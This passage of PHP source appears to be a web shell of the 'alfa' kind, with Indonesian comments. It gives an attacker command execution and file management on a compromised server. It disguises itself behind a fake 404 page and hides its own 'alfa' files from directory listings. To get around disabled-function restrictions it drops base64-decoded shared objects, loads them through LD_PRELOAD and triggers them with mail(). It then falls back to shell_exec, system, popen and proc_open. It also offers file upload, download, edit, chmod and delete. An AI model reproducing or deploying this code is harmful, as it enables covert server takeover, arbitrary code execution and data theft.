$u,CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>2, CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_USERAGENT=>isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'Mozilla/5.0')); $r=@curl_exec($c);$code=@curl_getinfo($c,CURLINFO_HTTP_CODE);@curl_close($c); if($code>=400&&strlen($r)>200)return $r;} header('HTTP/1.0 404 Not Found'); $s=isset($_SERVER['SERVER_SOFTWARE'])?$_SERVER['SERVER_SOFTWARE']:'Apache'; return "\n
The requested URL was not found on this server.
\n=htmlspecialchars($out,ENT_QUOTES,'UTF-8')?>
')!==false)echo str_replace('',$j.'',$p);else echo $p.$j; exit;} /* ---------- helpers ---------- */ function _tmpdirs(){ $c=array('/dev/shm',sys_get_temp_dir(),'/tmp','/var/tmp',ini_get('upload_tmp_dir')); $ob=ini_get('open_basedir'); if($ob)foreach(explode(PATH_SEPARATOR,$ob)as $p)$c[]=rtrim($p,'/'); return array_values(array_unique(array_filter($c))); } function _fsz($n){ if($n>=1073741824)return round($n/1073741824,1).'G'; if($n>=1048576)return round($n/1048576,1).'M'; if($n>=1024)return round($n/1024,1).'K'; return (string)$n; } /* ---------- executor: async LD_PRELOAD via mail(), fallback direct ---------- */ function _exec($cmd){ global $_so,$_sh; $to=array();foreach(_tmpdirs()as$d){if($d&&@is_writable($d))$to[]=$d;} if(isset($_COOKIE['_ld'])){foreach($to as $i=>$d)if($d==$_COOKIE['_ld']){unset($to[$i]);array_unshift($to,$d);break;}} foreach($to as $d){ $t=$d.'/alfa_'.substr(md5(mt_rand()),0,8).'.so'; $h=$d.'/alfa_oc.so'; $o=$t.'.o'; if(@file_put_contents($t,base64_decode($_so))===false)continue; @chmod($t,0755); if(!@file_exists($h)){if(@file_put_contents($h,base64_decode($_sh))===false){@unlink($t);continue;}@chmod($h,0755);} putenv("LD_PRELOAD={$t}");putenv("_C={$cmd}");putenv("_O={$o}");putenv("_H={$h}"); $st=@mail('a@b.c','',''); putenv('LD_PRELOAD=');putenv('_C=');putenv('_O=');putenv('_H='); @unlink($t); if($st){ setcookie('_ld',$d,time()+3600,'/'); $dl=time()+25; /* < FPM request_terminate_timeout 30s — anti crash worker */ while(time()<$dl){clearstatcache(true,$o);if(@file_exists($o)){$r=@file_get_contents($o);@unlink($o);return $r===false?'':$r;}usleep(50000);} @unlink($o.'.tmp'); return "[timeout 25s: command masih jalan detached (max 15s di .so, output parsial di-rename), coba perintah lebih pendek]"; } @unlink($t); } foreach(array('shell_exec','passthru','system','popen','proc_open')as$f){ if(function_exists($f)){ if($f==='shell_exec')return @shell_exec($cmd); if($f==='passthru'){ob_start();@passthru($cmd);return ob_get_clean();} if($f==='system'){ob_start();@system($cmd);return ob_get_clean();} if($f==='popen'){$h=@popen($cmd,'r');if($h){$r=stream_get_contents($h);@pclose($h);return $r;}} if($f==='proc_open'){$p=proc_open($cmd,array(1=>array('pipe','w'),2=>array('pipe','w')),$pipes);if(is_resource($p)){$r=stream_get_contents($pipes[1]).stream_get_contents($pipes[2]);fclose($pipes[1]);fclose($pipes[2]);proc_close($p);return $r;}} } } return '[!] semua jalur exec gagal (mail disabled + direct disabled)'; } function _run($cmd){return _exec("cd ".escapeshellarg($GLOBALS['cwd'])." && ".$cmd);} /* ---------- state ---------- */ $cwd=isset($_POST['cwd'])?$_POST['cwd']:(isset($_COOKIE['_cwd'])?$_COOKIE['_cwd']:getcwd()); if(!is_dir($cwd))$cwd=getcwd()?:'/tmp'; $cmd=isset($_POST['cmd'])?trim($_POST['cmd']):''; $act=isset($_POST['act'])?$_POST['act']:(isset($_GET['act'])?$_GET['act']:''); $out=''; /* ---------- terminal ---------- */ if($cmd!==''){ if(preg_match('/^cd\s+(.+)/',$cmd,$m)){ $tg=trim($m[1]);if($tg==='~')$tg=getenv('HOME')?:'/tmp'; if($tg[0]!=='/')$tg=rtrim($cwd,'/').'/'.$tg; $r=realpath($tg); if($r&&is_dir($r)){$cwd=$r;$out="changed to {$cwd}";}else{$out="cd: no such directory: {$tg}";} }else{$out=_run($cmd);} setcookie('_cwd',$cwd,0,'/'); } /* ---------- download ---------- */ if(isset($_GET['dl'])&&isset($_GET['f'])){ $rf=realpath($_GET['f']); if($rf&&is_file($rf)){header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($rf).'"');readfile($rf);exit;} } /* ---------- file actions ---------- */ if($act==='save'&&isset($_POST['f'],$_POST['content'])){ $rf=realpath($_POST['f']); if($rf&&is_file($rf)){if(@file_put_contents($rf,$_POST['content'])!==false)$out="saved: {$rf}";else $out="[!] gagal tulis: {$rf}";} else $out="[!] file gak ketemu: {$_POST['f']}"; } if($act==='mkdir'&&isset($_POST['name'])){ $n=rtrim($cwd,'/').'/'.trim($_POST['name']); $out=@mkdir($n,0755)?"mkdir ok: {$n}":"[!] mkdir gagal: {$n}"; } if($act==='mkfile'&&isset($_POST['name'])){ $n=rtrim($cwd,'/').'/'.trim($_POST['name']); $out=@file_put_contents($n,'')!==false?"created: {$n}":"[!] gagal buat: {$n}"; } if($act==='del'&&isset($_POST['f'])){ $rf=realpath($_POST['f']); if($rf){if(is_dir($rf))@rmdir($rf);else @unlink($rf);$out="deleted: {$_POST['f']}";} } if($act==='ren'&&isset($_POST['f'],$_POST['n'])){ $rf=realpath($_POST['f']);$nn=trim($_POST['n']); if($rf&&$nn!==''&&@rename($rf,dirname($rf).'/'.$nn))$out="renamed -> {$nn}";else $out="[!] rename gagal"; } if($act==='chm'&&isset($_POST['f'],$_POST['m'])){ $rf=realpath($_POST['f']);$mm=trim($_POST['m']); if($rf&&preg_match('/^[0-7]{3,4}$/',$mm)&&@chmod($rf,octdec($mm)))$out="chmod {$mm} ok";else $out="[!] chmod gagal"; } if($act==='up'&&!empty($_FILES['files'])){ $n=0; foreach($_FILES['files']['name'] as $i=>$nm){ if($_FILES['files']['error'][$i]===0&&trim($nm)!==''){ if(@move_uploaded_file($_FILES['files']['tmp_name'][$i],rtrim($cwd,'/').'/'.basename($nm)))$n++; } } if(!empty($_POST['xhr'])){echo "OK {$n}";exit;} $out="uploaded {$n} file(s)"; } /* ---------- navigasi (path bar <-> file manager <-> terminal) ---------- */ $edit=null;$rf=null; if(isset($_GET['f'])&&$_GET['f']!==''){ $rf=realpath($_GET['f']); if($rf&&is_dir($rf)){$cwd=$rf;setcookie('_cwd',$cwd,0,'/');} elseif($rf&&is_file($rf)){$edit=$rf;} } /* ---------- daftar direktori ---------- */ $fs=''; if(!$edit){ $d=@scandir($cwd); if($d){ $items=array(); foreach($d as $e){ if($e==='.'||$e==='..'||strpos($e,'alfa')!==false)continue; $items[]=array($e,is_dir(rtrim($cwd,'/').'/'.$e)); } usort($items,function($a,$b){if($a[1]==$b[1])return strcmp($a[0],$b[0]);return $a[1]?-1:1;}); foreach($items as $it){ list($e,$isD)=$it;$p=rtrim($cwd,'/').'/'.$e; $st=@stat($p); $size=$st?_fsz($st['size']):'?'; $perm=$st?substr(sprintf('%o',$st['mode']),-4):'????'; $own='?'; if($st&&function_exists('posix_getpwuid')){$pw=@posix_getpwuid($st['uid']);if($pw)$own=$pw['name'];} $date=$st?date('Y-m-d H:i',$st['mtime']):''; $nm=($isD?'[D] ':'[F] ').$e; $href='?f='.urlencode($p); $jq=json_encode($p,JSON_HEX_APOS|JSON_HEX_QUOT); if($isD)$acts='enter'; else $acts='edit dl'; $acts.=' chmod' .' ren' .' rm'; $fs.='
'; } } } /* ---------- editor ---------- */ $edBody=''; if($edit){ $content=@file_get_contents($edit); $perm=substr(sprintf('%o',@fileperms($edit)),-4); $eq=htmlspecialchars($edit,ENT_QUOTES); $edBody='
'; } /* ---------- UI ---------- */ $pw=function_exists('posix_getpwuid')?posix_getpwuid(posix_geteuid()):null; $user=$pw?$pw['name']:get_current_user();$host=gethostname()?:php_uname('n'); $crumbs='Home'; $acc='';foreach(explode('/',trim($cwd,'/'))as$seg){if($seg==='')continue;$acc.='/'.$seg;$crumbs.='/'.$seg.'';} if($cwd==='/')$crumbs='Home/'; $dbg=array('ffi'=>extension_loaded('ffi')?'on':'off','dl'=>function_exists('dl')?'on':'off','pcntl'=>(function_exists('pcntl_fork')&&function_exists('pcntl_exec'))?'on':'off','tmp'=>isset($_COOKIE['_ld'])?$_COOKIE['_ld']:'(auto)','mail'=>ini_get('sendmail_path')?:'(none)'); $cq=htmlspecialchars($cwd,ENT_QUOTES); $mkHtml=''; $upHtml=''; if(!$edit){ $mkHtml='
'; $upHtml='
'; } ?>